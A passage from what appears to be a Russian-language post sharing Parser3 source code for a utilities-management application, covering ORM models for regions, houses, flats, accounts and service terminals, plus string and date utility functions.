  ^addModule[debts;hydCoreDebts]\
  ^addModule[reports;hydCoreReports]\
\
  ^addModule[logs;hydCoreLogs]\
\
  $_speechKitKey[...]\
  ^addModule[utils;hydCoreUtils;\
    $.args[\
      $.yandexSpeechkitKey[$_speechKitKey]\
    ]\
  ]\
\
  ^addModule[security;hydCoreSecurity;\
    $.args[\
      $.secretKey[...]\
      $.cryptKey[...]\
    ]\
  ]\
\
  $_sphinxDaemonAddress[127.0.0.1:9306]\
  ^addModule[search;hydCoreSearch;\
    $.args[\
      $.sphinxAddress[$_sphinxDaemonAddress]\
    ]\
  ]\
  \
  ^addModule[settings;pfSQLSettings;\
    $.path[pf/sql/generics/settings/pfSQLSettings.p]\
    $.args[\
      $.sql[$_sql]\
      $.ignoreKeyCase(true)\
    ]\
  ]\
\
  $_uiTypes[\
    $._default[\
     $.id[0]\
     $.title[]\
    ]\
    $.hydra[\
      $.id[1]\
      $.title[Гидра]\
    ]\
    $.terminal[\
      $.id[2]\
      $.title[Терминал]\
    ]\
    $.web[\
      $.id[3]\
      $.title[Интернет]\
    ]\
  ]\
  ^defReadProperty[uiTypes]\
\
@GET_CSQL[]\
  $result[$_sql]\
\
@GET_speechKit[]\
  ^if(!def $_speechKit){\
    ^use[pf/api/yandex/speechkit/pfYandexSpeechKit.p]\
    $_speechKit[^pfYandexSpeechKit::create[$_speechKitKey]]\
  }\
  $result[$_speechKit]\
\
@addModule[aModuleName;aClassName;aOptions]\
## aOptions.path\
## aOptions.args\
  ^cleanMethodArgument[]\
  $_modules.[$aModuleName][$.className[$aClassName] $.object[] $.options[$aOptions]]\
\
@getModule[aName]\
  ^if(^_modules.contains[$aName]){\
    ^if(!def $_modules.[$aName].object){\
      $_modules.[$aName].object[^_coreFabric[$_modules.[$aName].className;$_modules.[$aName].options]]\
    }\
    $result[$_modules.[$aName].object]\
  }{\
     ^throw[hydCore.fail;Модуль \"$aName\" не найден.]\
   }\
\
@GET_DEFAULT[aName]\
  $result[]\
  ^if(^_modules.contains[$aName]){\
    ^if(!def $_modules.[$aName].object){\
      $_modules.[$aName].object[^_coreFabric[$_modules.[$aName].className;$_modules.[$aName].options]]\
    }\
    $result[$_modules.[$aName].object]\
  }\
\
@_coreFabric[aClass;aOptions]\
  ^use[^if(def $aOptions.path){$aOptions.path}{hydra/${aClass}.p}]\
  $result[^reflection:create[$aClass;create;^hash::create[$aOptions.args] $.core[$self]]]\
[/code]\
\
\
\
app/models/hydBaseModel.p:\
[code] \
@USE\
pf/types/pfClass.p\
pf/sql/orm/pfSQLTable.p\
\
\
## Базовая модель\
\
@CLASS\
hydBaseModel\
\
@BASE\
pfClass\
\
@create[aOptions]\
## aOptions.core\
  ^cleanMethodArgument[]\
  ^pfAssert:isTrue($aOptions.core is hydCore)[core должен быть наследником hydCore.]\
  $_options[$aOptions]\
  $_core[$aOptions.core]\
  $_now[^date::now[]]\
  $_today[^date::today[]]\
\
  $_modules[^hash::create[]]\
\
#----- Properties -----\
\
@GET_core[]\
  $result[$_core]\
\
@GET_CSQL[]\
  $result[$core.CSQL]\
\
@GET_precision[]\
  $result[%.3f]\
\
\
#----- Modules -----\
\
@GET_DEFAULT[aName][locals]\
  $result[^getModule[$aName]]\
\
@addModule[aModuleName;aClassName;aOptions]\
  ^cleanMethodArgument[]\
  $_modules.[$aModuleName][$.className[$aClassName] $.object[] $.options[$aOptions]]\
\
@_moduleFabric[aClass;aOptions]\
  ^unsafe{^use[hydra/${aClass}.p]}\
  $result[^reflection:create[^file:justname[$aClass];create;^hash::create[$aOptions] $.core[$_core]]]\
\
@getModule[aName]\
  ^if(^_modules.contains[$aName]){\
    ^if(!def $_modules.[$aName].object){\
      $_modules.[$aName].object[^_moduleFabric[$_modules.[$aName].className;$_modules.[$aName].options]]\
    }\
    $result[$_modules.[$aName].object]\
  }{\
     ^throw[hydBaseModel.fail;Модуль \"$aName\" не найден.]\
   }\
\
\
# Модель, наследник pfSQLTable, но реализующая интерфейс hydBaseModel\
\
@CLASS\
hydDBTable\
\
@BASE\
pfSQLTable\
\
@create[aOptions]\
## aOptions.tableName\
## aOptions.core\
  ^cleanMethodArgument[]\
  ^pfAssert:isTrue(def $aOptions.core && $aOptions.core is hydCore)[core должен быть наследником hydCore.]\
  $_core[$aOptions.core]\
  $_options[$aOptions]\
  $_now[^date::now[]]\
  $_today[^date::today[]]\
\
  ^BASE:create[^if(def $aOptions.tableName){$aOptions.tableName};^hash::create[$aOptions] $.sql[$_core.CSQL]]\
\
  $_modules[^hash::create[]]\
\
#----- Properties -----\
\
@GET_core[]\
  $result[$_core]\
\
@GET_precision[]\
  $result[%.3f]\
\
\
#----- Modules -----\
\
@GET_DEFAULT[aName][locals]\
  ^if(^_modules.contains[$aName]){\
    $result[^getModule[$aName]]\
  }{\
     $result[^BASE:GET_DEFAULT[$aName]]\
   }\
\
@addModule[aModuleName;aClassName;aOptions]\
  ^cleanMethodArgument[]\
  $_modules.[$aModuleName][$.className[$aClassName] $.object[] $.options[$aOptions]]\
\
@_moduleFabric[aClass;aOptions]\
  ^unsafe{^use[hydra/${aClass}.p]}\
  $result[^reflection:create[^file:justname[$aClass];create;^hash::create[$aOptions] $.core[$_core]]]\
\
@getModule[aName]\
  ^if(^_modules.contains[$aName]){\
    ^if(!def $_modules.[$aName].object){\
      $_modules.[$aName].object[^_moduleFabric[$_modules.[$aName].className;$_modules.[$aName].options]]\
    }\
    $result[$_modules.[$aName].object]\
  }{\
     ^throw[hydDBTable.fail;Модуль \"$aName\" не найден.]\
   }\
[/code]\
\
\
\
Дальше пошло «мясо», которое и реализует бизнес-правила.\
\
app/models/hydra/hydCoreRegions.p:\
[code] \
@CLASS\
hydCoreRegions\
\
@BASE\
hydDBTable\
\
@create[aOptions][locals]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions]\
    $.tableAlias[reg]\
#    $.allAsTable(true)\
  ]\
\
  ^addFields[\
    $.regionID[$.dbField[region_id] $.primary(true) $.sequence(false) $.processor[uint] $.label[Код] $.plural[regions]]\
    $.name[$.label[Название района] $.default[___ Безымянный район __]]\
    $.districtID[$.dbField[district_id] $.plural[districts] $.processor[uint_null] $.label[Округ] $.widget[select]]\
    $.slug[$.widget[none]]\
    $.comment[$.label[Комментарий] $.widget[textarea]]\
    $.lastImport[$.dbField[last_import] $.processor[datetime] $.widget[none]]\
\
    $.allowWeb[$.dbField[allow_web] $.processor[bool] $.default(false) $.label[Доступ из веб-терминала] $.widget[checkbox]]\
\
    $.firstDay[$.dbField[first_day] $.processor[uint]  $.default(0) $.label[Начало приема]]\
    $.deadlineDay[$.dbField[deadline_day] $.processor[uint] $.default(0) $.label[Окончание приема]]\
    $.waterDelta[$.dbField[water_delta] $.processor[uint] $.default(0) $.label[Максимальная разница]]\
    $.waterMonthes[$.dbField[water_monthes] $.processor[uint] $.default(0) $.label[Акт снятия каждые]]\
\
    $.firstActionDate[$.dbField[first_action_date] $.processor[date] $.label[]]\
\
    $.housesCnt[$.dbField[houses_cnt] $.processor[uint] $.widget[none]]\
    $.flatesCnt[$.dbField[flates_cnt] $.processor[uint] $.widget[none]]\
    $.accountsCnt[$.dbField[accounts_cnt] $.processor[uint] $.widget[none]]\
    $.waterCountersCnt[$.dbField[water_counters_cnt] $.processor[uint] $.widget[none]]\
    $.waterFlatesCnt[$.dbField[water_flates_cnt] $.processor[uint] $.widget[none]]\
    $.smsPhonesCnt[$.dbField[sms_phones_cnt] $.processor[uint] $.label[]]\
\
    $.title1[$.dbField[title_1] $.label[Что]]\
    $.title2[$.dbField[title_2] $.label[Где (в)]]\
    $.title3[$.dbField[title_3] $.label[Кого]]\
    $.titleSMS[$.dbField[title_sms] $.expression[(case when title_sms != \"\" then title_sms else title_2 end)] $.label[Для СМС, где (в)]]\
\
    $.phones[$.label[Телефоны]]\
\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true) $.widget[none]]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now] $.widget[none]]\
  ]\
\
  $lFirstDayOfMonth[^date::create($_today.year;$_today.month;1)]\
  $lFirstDayOfMonth[^lFirstDayOfMonth.sql-string[date]]\
\
  ^addFields[\
    $.deadlineDate[\
      $.expression[\
        (date_sub(case\
           when $deadlineDay > 0 and $deadlineDay < $firstDay then\
              date_add(date_add(\"$lFirstDayOfMonth\", interval $deadlineDay - 1 day), interval 1 month)\
           when deadline_day > 0\
                and date_add(\"$lFirstDayOfMonth\", interval $deadlineDay - 1 day) < last_day(\"^_today.sql-string[date]\")\
              then\
                date_add(\"$lFirstDayOfMonth\", interval $deadlineDay - 1 day)\
           else\
             last_day(\"^_today.sql-string[date]\")\
         end, interval if($deadlineDay < $firstDay and $_today.day <= $deadlineDay, 1, 0) month))\
      ]\
      $.widget[none]\
    ]\
\
    $.firstDate[\
      $.expression[\
        (date_sub(case\
           when $firstDay > 0\
                and date_add(\"$lFirstDayOfMonth\", interval $firstDay - 1 day) <= last_day(\"^_today.sql-string[date]\")\
              then\
                date_add(\"$lFirstDayOfMonth\", interval $firstDay - 1 day)\
           else\
             \"$lFirstDayOfMonth\"\
         end, interval if($deadlineDay < $firstDay and $_today.day <= $deadlineDay, 1, 0) month))\
      ]\
      $.widget[none]\
    ]\
\
    $.aggregateDate[\
      $.expression[\
        (case\
          when $deadlineDay < $firstDay and $_today.day <= $deadlineDay\
            then date_sub(\"$lFirstDayOfMonth\", interval 1 month)\
          else\
            \"$lFirstDayOfMonth\"\
        end)\
      ]\
    ]\
  ]\
\
  $lSettingsModule[^core.getModule[settings]]\
  $lDefaultWebSite[$lSettingsModule.web_site]\
\
  ^addModule[districts;hydCoreRegionsDistricts]\
  $lDistricts[^getModule[districts]]\
  ^addFields[\
    $.district[\
      $.expression[$lDistricts.name]\
      $.widget[none]\
    ]\
    $.districtSlug[\
      $.expression[$lDistricts.slug]\
      $.widget[none]\
    ]\
    $.districtOrder[\
      $.expression[$lDistricts.order]\
      $.widget[none]\
    ]\
    $.districtTitle[\
      $.expression[$lDistricts.title]\
      $.widget[none]\
    ]\
    $.smsSystem[\
      $.expression[$lDistricts.smsSystem]\
      $.widget[none]\
    ]\
    $.webSite[\
      $.expression[if($lDistricts.webSite != \"\", $lDistricts.webSite, \"^taint[$lDefaultWebSite]\")]\
      $.widget[none]\
    ]\
  ]\
\
  $self._defaultOrderBy[$.districtOrder[asc] $.name[asc] $.regionID[asc]]\
\
  ^addModule[streets;hydCoreRegionsStreets]\
  ^addModule[houses;hydCoreRegionsHouses]\
  ^addModule[flates;hydCoreRegionsFlates]\
  ^addModule[accounts;hydCoreRegionsAccounts]\
  ^addModule[terminals;hydCoreRegionsTerminals]\
\
  $self._asuCharset[windows-1251]\
\
@_allJoin[aOptions]\
  $result[^BASE:_allJoin[$aOptions]\
    left join $districts.TABLE_EXPRESSION on $districtID = $districts.districtID\
  ]\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsDistricts\
\
@BASE\
hydDBTable\
\
@create[aOptions]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[districts]\
    $.tableAlias[dstr]\
    $.allAsTable(true)\
  ]\
\
  ^addFields[\
    $.districtID[$.dbField[district_id] $.plural[districts] $.processor[uint] $.primary(true) $.widget[none]]\
    $.name[$.label[]]\
    $.title[$.label[]]\
    $.slug[$.label[]]\
    $.smsSystem[$.dbField[sms_system] $.label[]]\
    $.webSite[$.dbField[web_site] $.label[]]\
    $.order[$.processor[uint] $.label[]]\
  ]\
\
  $_defaultOrderBy[$.order[asc] $.name[asc]]\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsStreets\
\
@BASE\
hydDBTable\
\
@create[aOptions]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions_streets]\
    $.tableAlias[str]\
    $.allAsTable(true)\
  ]\
\
  ^addFields[\
    $.streetID[$.dbField[street_id] $.primary(true) $.sequence(false) $.processor[uint] $.plural[streets]]\
    $.streetName[$.dbField[street_name]]\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true)]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now]]\
  ]\
\
  $self._defaultOrderBy[$.streetName[asc] $.streetID[asc]]\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsHouses\
\
@BASE\
hydDBTable\
\
@create[aOptions][locals]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions_houses]\
    $.tableAlias[hs]\
    $.allAsTable(true)\
  ]\
\
  $lRegions[^core.getModule[regions]]\
  $lStreets[^lRegions.getModule[streets]]\
  ^addFields[\
    $.houseID[$.dbField[house_id] $.primary(true) $.sequence(false) $.processor[uint] $.plural[houses]]\
    $.houseBtiID[$.dbField[house_bti_id] $.processor[uint]]\
    $.streetID[$.dbField[street_id] $.processor[uint] $.plural[streets]]\
    $.houseNumber[$.dbField[house_number]]\
    $.houseStr[$.dbField[house_str]]\
    $.houseKorp[$.dbField[house_korp]]\
    $.regionID[$.dbField[region_id] $.plural[regions] $.processor[uint]]\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true)]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now]]\
\
    $.__houseKey[$.dbField[__house_key] $.widget[none]]\
  ]\
\
# Вычисляемые поля\
  ^addField[streetName;$.expression[$lStreets.streetName]]\
  ^addField[address;\
    $.expression[\
      concat($lStreets.streetName,\
             \", д. \", $houseNumber,\
             if($houseKorp != \"\", concat(\", корп. \", $houseKorp), \"\"),\
             if($houseStr != \"\", concat(\", стр. \", $houseStr), \"\")\
            )\
    ]\
  ]\
  ^addField[building;\
    $.expression[\
      concat($houseNumber,\
             if($houseKorp != \"\", concat(\", корп. \", $houseKorp), \"\"),\
             if($houseStr != \"\", concat(\", стр. \", $houseStr), \"\")\
            )\
    ]\
  ]\
\
  $self._defaultOrderBy[$.streetName[asc] $.houseNumber[asc] $.houseKorp[asc] $.houseStr[asc]]\
\
@_allJoin[aOptions]\
  $result[join $core.regions.streets.TABLE_EXPRESSION on ($streetID = $core.regions.streets.streetID)]\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsFlates\
\
@BASE\
hydDBTable\
\
@create[aOptions][locals]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions_flates]\
    $.tableAlias[flt]\
    $.allAsTable(true)\
  ]\
\
  $lRegions[^core.getModule[regions]]\
  $lStreets[^lRegions.getModule[streets]]\
  $lHouses[^lRegions.getModule[houses]]\
  $lAccounts[^lRegions.getModule[accounts]]\
  ^addFields[\
    $.flatID[$.dbField[flat_id] $.primary(true) $.sequence(false) $.processor[uint] $.plural[flates]]\
    $.regionID[$.dbField[region_id] $.plural[regions] $.processor[uint] $.label[]]\
    $.asuFlatID[$.dbField[asu_flat_id] $.processor[uint] $.label[]]\
    $.houseID[$.dbField[house_id] $.processor[uint] $.plural[houses]]\
    $.flatNumber[$.dbField[flat_number]]\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true)]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now]]\
    $.__houseKey[$.dbField[__house_key] $.widget[none]]\
\
#   Поля для выборок\
    $.accountID[$.fieldExpression[$lAccounts.accountID] $.widget[none]]\
  ]\
\
# Вычисляемые поля\
  ^addField[address;\
    $.expression[\
      concat($lStreets.streetName,\
             \", д. \", $lHouses.houseNumber,\
             if($lHouses.houseKorp != \"\", concat(\", корп. \", $lHouses.houseKorp), \"\"),\
             if($lHouses.houseStr != \"\", concat(\", стр. \", $lHouses.houseStr), \"\"),\
             if($flatNumber != \"\", concat(\", кв. \", $flatNumber), \"\")\
            )\
    ]\
  ]\
\
  ^addField[house;\
    $.expression[\
      concat($lStreets.streetName,\
             \", д. \", $lHouses.houseNumber,\
             if($lHouses.houseKorp != \"\", concat(\", корп. \", $lHouses.houseKorp), \"\"),\
             if($lHouses.houseStr != \"\", concat(\", стр. \", $lHouses.houseStr), \"\")\
            )\
    ]\
  ]\
\
  ^addField[accounts;\
    $.expression[group_concat(distinct $lAccounts.accountID separator \", \")]\
  ]\
\
  $self._defaultGroupBy[flatID]\
  $self._defaultOrderBy[flatID+1]\
\
@_allJoin[aOptions]\
  $result[\
    join $core.regions.houses.TABLE_EXPRESSION on ($houseID = $core.regions.houses.houseID)\
    join $core.regions.streets.TABLE_EXPRESSION on ($core.regions.houses.streetID = $core.regions.streets.streetID)\
    left join $core.regions.accounts.TABLE_EXPRESSION on ($flatID = $core.regions.accounts.flatID)\
  ]\
\
@similarTo[aFlat;aOptions]\
## Ищет квартиры, «похожие» на образец\
## aOptions.includeSelf(false) — ыулючить в результат квартиру-источник\
## aOptions.phones — номера телефонов\
## aOptions.regions[] — доступные районы\
  ^cleanMethodArgument[]\
  $result[^hash::create[]]\
\
  ^if(^aOptions.contains[phones] && $aOptions.phones){\
    $result[^all[\
      ^if($aOptions.regions){\
        $.regions[$aOptions.regions]\
      }\
      ^if(!^aOptions.includeSelf.bool(false)){\
        $.[flatID !=][$aFlat.flatID]\
      }\
      $.[flatID in][^core.feedback.sms.phones.aggregate[_fields(flatID);\
        $.[number in][$aOptions.phones]\
        $.isActive(true)\
      ]]\
\
      $.orderBy[$.address[asc]]\
    ]]\
  }\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsAccounts\
\
@BASE\
hydDBTable\
\
@create[aOptions][locals]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions_accounts]\
    $.tableAlias[acc]\
    $.allAsTable(true)\
  ]\
\
  ^addFields[\
    $.accountID[$.dbField[account_id] $.widget[none]]\
    $.flatID[$.dbField[flat_id] $.processor[uint] $.widget[none]]\
    $.regionID[$.dbField[region_id] $.plural[regions] $.processor[uint] $.widget[none]]\
    $.asuFlatID[$.dbField[asu_flat_id] $.processor[uint] $.label[]]\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true) $.widget[none]]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now] $.widget[none]]\
  ]\
\
#---------------------------------------------------------------------------\
\
@CLASS\
hydCoreRegionsTerminals\
\
@BASE\
hydDBTable\
\
@create[aOptions][locals]\
  ^BASE:create[^hash::create[$aOptions]\
    $.tableName[regions_terminals]\
    $.tableAlias[reg_term]\
    $.allAsTable(true)\
  ]\
\
  $self._statuses[\
    $.unset[$.id[0] $.title[Не установлен] $.badge[не установлен] $.class[] $.btnClass[]]\
    $.enabled[$.id[1] $.title[Работает] $.badge[работает] $.class[success] $.btnClass[success]]\
    $.disabled[$.id[2] $.title[Выключен] $.badge[выключен] $.class[important] $.btnClass[danger]]\
    $.repair[$.id[3] $.title[В ремонте] $.badge[в ремонте] $.class[warning] $.btnClass[warning]]\
  ]\
  ^defReadProperty[statuses]\
\
  $self._rdProtos[\
    $.rdp[$.id[1] $.title[Remote desktop (Windows)] $.uriPrefix[rdp://]]\
    $.vnc[$.id[2] $.title[VNC] $.uriPrefix[vnc://]]\
    $.ssh[$.id[3] $.title[Secure shell (SSH)] $.uriPrefix[ssh://]]\
    $.telnet[$.id[4] $.title[Telnet] $.uriPrefix[telnet://]]\
  ]\
  ^defReadProperty[rdProtos]\
\
  ^addFields[\
    $.terminalID[$.dbField[terminal_id] $.plural[terminals] $.processor[uint] $.primary(true) $.widget[none]]\
    $.description[$.default[__Неизвестный терминал__] $.label[Место установки]]\
    $.ip[$.dbField[ip] $.expression{inet_ntoa(^_builder.quoteIdentifier[$TABLE_ALIAS].^_builder.quoteIdentifier[ip])} $.processor[inet_ip] $.label[IP-адрес]]\
    $.regionID[$.dbField[region_id] $.plural[regions] $.processor[uint_null] $.label[Район] $.widget[select]]\
\
    $.comment[$.label[Комментарий] $.widget[textarea]]\
    $.externalIP[$.dbField[external_ip] $.expression{inet_ntoa(^_builder.quoteIdentifier[$TABLE_ALIAS].^_builder.quoteIdentifier[external_ip])} $.processor[inet_ip] $.label[«Внешний» IP]]\
    $.rdPort[$.dbField[rd_port] $.processor[uint_null] $.label[Порт]]\
\
    $.isActive[$.dbField[is_active] $.processor[bool] $.default(1) $.widget[none]]\
    $.createdAt[$.dbField[created_at] $.processor[auto_now] $.skipOnUpdate(true) $.widget[none]]\
    $.updatedAt[$.dbField[updated_at] $.processor[auto_now] $.widget[none]]\
  ]\
\
  ^addFields[\
    $.status[\
      $.dbField[status] $.processor[uint] $.widget[none]\
      $.expression[(case ^_builder.quoteIdentifier[$TABLE_ALIAS].^_builder.quoteIdentifier[status] ^_statuses.foreach[k;v]{when ^v.id.int(-1) then \"^taint[$k]\"}[ ] else 0 end)]\
    ]\
  ]\
\
  ^addFields[\
    $.rdProtocol[\
      $.dbField[rd_protocol] $.processor[uint] $.label[Протокол удаленного доступа] $.widget[select]\
      $.expression[(case ^_builder.quoteIdentifier[$TABLE_ALIAS].^_builder.quoteIdentifier[rd_protocol] ^_rdProtos.foreach[k;v]{when ^v.id.int(-1) then \"^taint[$k]\"}[ ] else 0 end)]\
    ]\
  ]\
\
  $self._defaultOrderBy[(case when $regionID is null then 100000 else $regionID end) asc, $description asc, $ip asc]\
\
@delete[aTerminalID]\
  $result[^modify[$aTerminalID;\
    $.isActive(false)\
    $.status[$_statuses.unset.id]\
  ]]\
\
@restore[aTerminalID]\
  $result[^modify[$aTerminalID;$.isActive(true)]]\
[/code]\
\
\
\
\
И кусочек из сервисной модельки.\
\
app/models/hydra/hydCoreUtils.p:\
[code] \
@CLASS\
hydCoreUtils\
\
## Полезные функции.\
\
@USE\
hlpFormater.p\
pf/types/pfString.p\
\
@BASE\
hydBaseModel\
\
@OPTIONS\
locals\
\
@create[aOptions]\
## aOptions.yandexSpeechkitKey[]\
  ^cleanMethodArgument[]\
  ^BASE:create[$aOptions]\
  $self._whoisScript[$core.binPath/whois]\
\
  $self._regex[\
    $.numeric[^regex::create[^^\\s*\\-?\\s*([\\d\\s]+)\\s*(?:(?:[\\.\\,]\\s*)(\\d+))?.*^$]]\
    $.weight[^regex::create[^^[-+]?\\s*(\\d[\\d\\s]*)(?:[\\.,ю]\\s*(\\d+))?\\s*(\\p{L})?][i]]\
    $.allSpaces[^regex::create[\\s+][g]]\
    $.phone1[^regex::create[((?:\\d\\-)?[\\d\\-]+\\d)][g]]\
    $.phone2[^regex::create[((?:\\+?[78]\\s*)?\\(\\d+\\)\\s*[\\d\\-]+\\d)][g]]\
    $.phone3[^regex::create[(?:[78])(\\d{10})][g]]\
    $.hexValue[^regex::create[^^[0-9a-zA-Z]*^$][n]]\
  ]\
\
  $self._formater[^hlpFormater::create[]]\
  ^defReadProperty[formater]\
\
  $self.parseFailException[core.utils.parse.fail]\
\
  ^addModule[speechkit;utils/hydCoreUtilsSpeechkit;\
    $.yandexSpeechkitKey[$aOptions.yandexSpeechkitKey]\
  ]\
  ^addModule[phonesConverter;utils/hydCoreUtilsPhonesConverter]\
\
#----- Strings -----\
\
@cleanPhones[aPhones;aOptions]\
## aOptions.removePrefix(false) - удалить ведущий префикс (7, 8)\
  $result[^aPhones.match[$_regex.phone1][]{^match.1.match[[\\-]][g][]}]\
  $result[^result.match[$_regex.phone2][]{^match.1.match[[\\-\\+\\(\\)\\s]][g][]}]\
  ^if(^aOptions.removePrefix.bool(false)){\
    $result[^result.match[$_regex.phone3][]{$match.1}]\
  }\
\
@cleanMAC[aMAC]\
## Удаляет из МАК-адреса лишние символы\
  $result[]\
  $aMAC[^aMAC.match[[\\s:\\-_\\.]+][gi][]]\
  ^if(^aMAC.match[^^[a-fA-F0-9]{12}^$][n]){\
    $result[^aMAC.lower[]]\
  }\
\
@buildTrigrams[aWord]\
  $aWord[__${aWord}__]\
  $result[^for[i](0;^aWord.length[]-3){^aWord.mid($i;3)}[ ]]\
\
@levenshtein[aStr1;aStr2]\
## Возвращает «расстояние Левеншетйна» между двумя строками\
  $result(^pfString:levenshteinDistance[$aStr1;$aStr2])\
\
@levenshteinForTable[aStr;aTable;aColumnName]\
## Возвращает расстояния Левенштейна между aStr и всеми значениями колонки aColumnName в aTable\
## aColumnName[keyword] — имя колонки в таблице\
  ^if(!def $aColumnName){$aColumnName[keyword]}\
  $result[^hash::create[]]\
  ^aTable.menu{\
    $result.[^aTable.line[]][^levenshtein[$aTable.[$aColumnName]]]\
  }\
\
@levenshteinRatio[aStr1;aStr2][locals]\
## Возвращает «расстояние Левеншетйна» между двумя строками в процентах\
  $lLen1(^aStr1.length[])\
  $lLen2(^aStr2.length[])\
  $lMaxLen(^if($lLen1 > $lLen2){$lLen1}{$lLen2})\
  $result(^math:round((1 - (^levenshtein[$aStr1;$aStr2] / $lMaxLen)) * 100))\
\
@splitByWord[aStr;aOptions][locals]\
## Разбирает строку на слова\
## aOptions.convertLayoutTo[] — преобразовать раскладку\
## aOptions.stripSpecial(false) — удалить служебные символы\
  ^cleanMethodArgument[]\
  $result[^hash::create[]]\
\
  $lConvertLayoutTo[$aOptions.convertLayoutTo]\
  $lStripSpecial(^aOptions.stripSpecial.bool(false))\
\
  ^if(def $lConvertLayoutTo){\
    $aStr[^convertLayout[$lConvertLayoutTo;^aStr.trim[both]]]\
  }\
\
  $lParts[^aStr.split[ ;lv]]\
  ^lParts.menu{\
    $lWord[^lParts.piece.trim[both]]\
    ^if($lStripSpecial){\
      $lWord[^lWord.match[[\\p{P}]+][g][ ]]\
      $lWord[^lWord.trim[both]]\
    }\
    $result.[^result._count[]][^lWord.lower[]]\
  }\
\
@convertLayout[aLayout;aString][lRus;lEng;lFrom;lTo;lRegex]\
## aLayout[lat|rus] - в какой раскладке хотим получить результат\
  $result[]\
  ^if(def $aString){\
     $lEng[qwertyuiop[]asdfghjkl^;'zxcvbnm,.<>{}:\"`~]\
     $lRus[йцукенгшщзхъфывапролджэячсмитьбюбюхъжэёё]\
     ^if($aLayout eq \"rus\"){\
       $lFrom[$lEng^lEng.upper[]] $lTo[$lRus^lRus.upper[]] $lRegex[^taint[regex][$lEng]]\
     }{\
        $lFrom[$lRus^lRus.upper[]] $lTo[$lEng^lEng.upper[]] $lRegex[^taint[regex][$lRus]]\
      }\
     $result[^aString.match[([$lRegex])][gi]{^lTo.mid(^lFrom.pos[$match.1];1)}]\
  }\
\
@parseHexValue[aString;aOptions]\
## Возвращает число из строки с шестнадуцатиричным значением\
## aOptions.maxWidth[] — максимальное количество цифр в числе\
## aOptions.allowEmpty(true) — допустимы пустые значения (преобразуется в 0)\
  ^cleanMethodArgument[]\
  $aString[^aString.match[[\\p{P}\\s]+][g][]]\
  ^if(!^aString.match[$_regex.hexValue]\
      || ($aOptions.maxWidth && ^aString.length[] > ^aOptions.maxWidth.int(0))\
      || (!^aOptions.allowEmpty.bool(true) && !^aString.length[])\
  ){\
    ^throw[$parseFailException;Не удалось преобразовать $aString в число.]\
  }\
  $result(^if(def $aString){^math:convert[$aString](16;10)}{0})\
\
#----- Dates -----\
\
@monthRange[aDate][locals]\
## Возвращает диапазон первую и конечную дату месяца для aDate\
## result[$.first $.last]\
  $result[^hash::create[]]\
  $lDate[^date::create[$aDate]]\
  $result.first[^date::create($lDate.year;$lDate.month;1;0;0;0)]\
  $result.last[^date::create($lDate.year;$lDate.month;^lDate.last-day[];23;59;59)]\
\
@weeks[aDate;aOptions][locals]\
## Вычисляем недели относительно aDate\
## aOptions.before(0) — недель до\
## aOptions.after(0) — недель после\
## result[$.[year_num,week_num][$.monday $.sunday $weekYear $.current(bool)]]\
  $result[^hash::create[]]\
  $aDate[^if(def $aDate){^date::create[$aDate]}{$_today}]\
  $lCurMonday[^date::create[^aDate.sql-string[date]]]\
  ^lCurMonday.roll[day](-1 * ^if($lCurMonday.weekday > 0)($lCurMonday.weekday - 1)(6))\
\
  $lBefore(^aOptions.before.int(0))\
  $lAfter(^aOptions.after.int(0))\
\
  $lMonday[^date::create[$lCurMonday]]\
  ^lMonday.roll[day](-7*$lBefore)\
  ^for[i](1;$lBefore + $lAfter + 1){\
    $result.[$lMonday.year,^lMonday.week.format[%02d]][^weekFor[$lMonday]]\
    ^lMonday.roll[day](+7)\
  }\
\
@weekFor[aDate][locals]\
## Вычисляет данные для недели по дате\
## result[hash]\
  $aDate[^if(def $aDate){^date::create[$aDate]}{$_today}]\
  $lMonday[^date::create[^aDate.sql-string[date]]]\
  ^lMonday.roll[day](-1 * ^if($lMonday.weekday > 0)($lMonday.weekday - 1)(6))\
  $result[\
    $.week[$lMonday.week]\
    $.year[$lMonday.weekyear]\
    $.monday[^date::create[$lMonday]]\
    $.sunday[^date::create[$lMonday]]\
    $.current($lMonday.weekyear == $_today.weekyear && $lMonday.week == $_today.week)\
  ]\
  ^result.sunday.roll[day](+6)\
\
@getWeek[aYear;aWeek][locals]\
## Получает неделю по номеру\
  $lDate[^date::create($aYear;1;1)]\
  ^if($lDate != 1){\
    ^lDate.roll[day](+7)\
  }\
  ^lDate.roll[day](7 * ($aWeek - 1))\
  $result[^weekForDate[$lDate]]\
\
@fromUTC[aDatetime][locals]\
## Возвращает время из UTC в зоне сервера.\
  $lUTCNow[^date::create[$_now]]\
  ^lUTCNow.roll[TZ;UTC]\
  $result[^date::create(^date::create[$aDatetime] + ($_now - ^date::create($lUTCNow.year;$lUTCNow.month;$lUTCNow.day;$lUTCNow.hour;$lUTCNow.minute;$lUTCNow.second)))]\
\
#----- Parsers -----\
\
@parseNumeric[aSumma;aPrecision;aDefault]\
## Парсит сумму\
## aPrecision(2) - точность\
  $result[^aSumma.match[$_regex.numeric][]{^match.1.match[$_regex.allSpaces][][]^if(def $match.2){.${match.2}}}]\
  $result[^eval(^result.double(^aDefault.double(0)))[%.^aPrecision.int(2)f]]\
\
#----- Networks -----\
\
@whois[aObject][lExec]\
  $result[]\
